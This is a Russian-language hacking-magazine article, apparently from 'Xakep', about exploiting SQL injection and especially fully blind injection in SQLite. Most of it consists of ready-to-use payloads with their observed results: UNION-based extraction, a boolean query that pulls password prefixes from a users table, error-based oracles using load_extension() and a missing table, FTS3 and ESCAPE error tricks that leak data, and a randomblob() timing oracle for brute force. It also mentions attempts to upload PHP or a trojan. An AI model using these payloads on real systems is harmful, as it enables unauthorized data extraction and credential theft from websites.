Содержание статьи
Мир SQL-инъекций огромен. В реальной работе сам факт наличия уязвимости — это недостаточное условие для радости, ведь надо еще суметь ей воспользоваться. Инъекции бывают разными, но самые неприятные — это те, которые не возвращают логического результата. Слепые инъекции, особенно в SQLite, — печальная штука. В этом выпуске я расскажу о техниках эксплуатации SQLi в выше упомянутом ПО.
Что же, для тех, кто хочет освежить терминологическую базу по SQLi, напомню основные классы ситуаций. В общем, это применимо ко всем SQL-образным СУБД.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи
Простая SQLi.
Банальная SQL-инъекция без ухищрений — какой запрос приходит в БД, такой ответ мы и получаем прямым выводом (например, в ответ веб-сервера). Такой тип эксплуатируется легче всего, не нужно ничего придумывать. Пример:
news.php?id=1
Выводит текст из СУБД, допустим с какой-то новостью. Если выбрать несуществующую новость, то вернет NULL:
news.php?id=-1
Соответственно, чтобы выбрать что-либо «секретное» из БД, достаточно применить операцию UNION SELECT — NULL объединится с новой выборкой, в результате чего именно результат второго селекта и будет возвращен:
news.php?id=-1 union select ‘text’
Соответственно, на экране будет строка «text».
Обнаруживать такие уязвимости так же просто:
news.php?id=1 and 1=1
news.php?id=1 and 1=0
В общем, с этим делом все ясно.
Слепая SQLi.
Бывают другие ситуации, когда вывод строго ограничен. Такие инъекции по обнаружению ничем не отличаются от простых, зато по выводу данных отличаются. Дело вот в чем: результат того, что скрипт возвращает, не содержит вывода из СУБД (точнее из того запроса, на который мы воздействуем). Тогда UNION SELECT нам не поможет. Но и методы борьбы с такими вещами тоже известны — изменение логики (истинности или ложности запроса) влияет на контент. Например, такой запрос возвращает текст новости:
news.php?id=1
Очевидно, что и такой запрос вернет новость:
news.php?id=1 and 1=1
Тогда как такой запрос вернет ошибку или еще что:
news.php?id=1 and 1=0
Ну и для выдергивания данных можно действовать по аналогии, не буду тратить время, все это уже и так знают:
news.php?id=1 and (select password from users)like’pass%’
Если пароль действительно начинается с «pass», то вернется оригинальный текст новости, в противном случае — ошибка. Второй вариант эксплуатации — если есть вывод об ошибке, в случае неправильного SQL-запроса. Тогда вывод мы будем оценивать не по истинности или ложности запроса, а по правильности. Кроме того, стоит отметить, что иногда в тексте ошибки можно встраивать данные из СУБД, тем самым делая ее «не слепой» (это если подфартит и вывод ошибок не отключен). Ну и конечно, есть еще вариант с временными задержками при обработке SQL-запроса... Более подробно обо всем этом уже писал Дима Евтеев в далеком 2009-м: «Хакер» № 12 (132). Так что бросим затянувшееся введение и перейдем к делу...
Абсолютная слепота в SQLite
Так случилось, что столкнулись мы с очень слепой инъекцией в SQLite. Слепота заключалась в том, что логика запроса никак не влияла на вывод. Так что, понятно, объединение запросов не помогало, игра с логикой запроса тоже. Все, что мы знали, — что инъекция есть:
script.php?id=1
Результат: страница
----------------------------
script.php?id=11212
Результат: страница
----------------------------
script.php?id=-99
Результат: страница
----------------------------
script.php?id=-99’
Результат: ошибка без деталей
Вывод: возможно, инъекция
----------------------------
script.php?id=1 and 1=1
Результат: страница
----------------------------
script.php?id=1 and 1=0
Результат: страница
----------------------------
script.php?id=1 andXXX 1=0
Результат: ошибка без деталей
Вывод: точно инъекция
Перебирая все варианты функций, поняли, что sleep(), delay(), @@version, version() система не поддерживает (то есть запросы с этими вызовами возвращают всю ту же ошибку), но, когда попробовали sqlite_version(), ошибки не было! Но вот незадача — как получить что-то из БД? Ну например, тот же номер версии... вот тут-то и зарылась собака. Как уже было сказано, временных задержек в SQLite нету, так что time-based нам не светит. Пытаясь понять, что можно сделать, я вспомнил про возможность загрузки библиотеки через функцию load_extension(), но, к сожалению, использование STATEFUL-фильтрации срезало все исходящие соединения, и потому протроянить цель было невозможно. ATTACH DATABASE для заливки PHP отказался работать (ни перевод строк, ни символ «;» не проходили в запросе). Казалось бы, все. Печаль. Провал. Но мой коллега не захотел сдаваться и продолжил играться с функцией load_extension() — и понял, как можно ее использовать для организации error-based эксплуатации. Так что мы выкрутились так:
news.php?id=1 union select (CASE WHEN sqlite_version() like '3.%' THEN 'here' ELSE load_extension('blah') END) --
Результат: Если это третья версия SQLite, то возвращается оригинальная страница, если нет, то ошибка.
Как видите, идея проста и основана на том, что если срабатывает load_extension(), пытаясь открыть несуществующий файл, то получается ошибка. Таким образом, уже используя логику и влияя на ошибку, можно получать результаты. Соответственно упростив идею можно вообще обойтись без функции Сережи:
news.php?id=1 union select (CASE WHEN sqlite_version() like '3.%' THEN 'here' ELSE (select ‘aaa’ from not_a_table) END) --
Результат: Если это третья версия SQLite, то возвращается оригинальная страница, если нет, то ошибка, так как нет такой таблицы — not_a_table
Уже потом @BlackFan поделился своими векторами работы с SQLite. Идея та же, только еще и вывод в текст ошибки помогает встраивать, и если будет вывод ошибки в браузер, то это станет крайне полезно и эффективно:
CREATE VIRTUAL TABLE t1 USING fts3(x);
SELECT * FROM t1 WHERE t1 MATCH '"'||sqlite_version();
malformed MATCH expression: ["3.6.23.1]
Примечание: Только для таблиц fts3/fts4
------------------------------------------------
select case when 1=2 then 1 else 1 like 1 escape 11 end;
Error: ESCAPE expression must be a single character
Естественно, бывают еще случаи с супер-пупер-двойными-слепыми инъекциями. Это тогда, когда даже в случае ошибочного запроса вывод тот же. Владимир Воронцов рекомендует использовать аналогичную схему, только вместо генерации ошибочного запроса (который тут окажется бесполезен) предлагает использовать любую операцию, которая повлияет на время отклика. Ребята из RDot (ага, тот же @BlackFan) уже пытали эту технику и достигли успеха. Так, наши друзья советуют использовать функцию randomblob(). Ну и в качестве полноты картины смотри пример с временной задержкой:
news.php?id=1 union select (CASE WHEN sqlite_version() like '3.%' THEN 'here' ELSE randomblob(50000000) END)--
Результат: Если это третья версия SQLite, то возвращается оригинальная страница и быстро, если нет, то возвращаться будет долго. Играя с параметром функции, можно установить приемлемое для брутфорса время. (Только имейте в виду, что для эффективной работы ложные ответы должны быть быстрыми, а правильные — тормозить, так как брутфорс — это все-таки большее количество неверных запросов...)
Как видите, логика эксплуатации error-based и time-based инъекций одинакова для всех SQL-образных СУБД. Даже для такой полуобрезанной и маленькой, как SQLite. Не сдавайтесь и верьте в себя!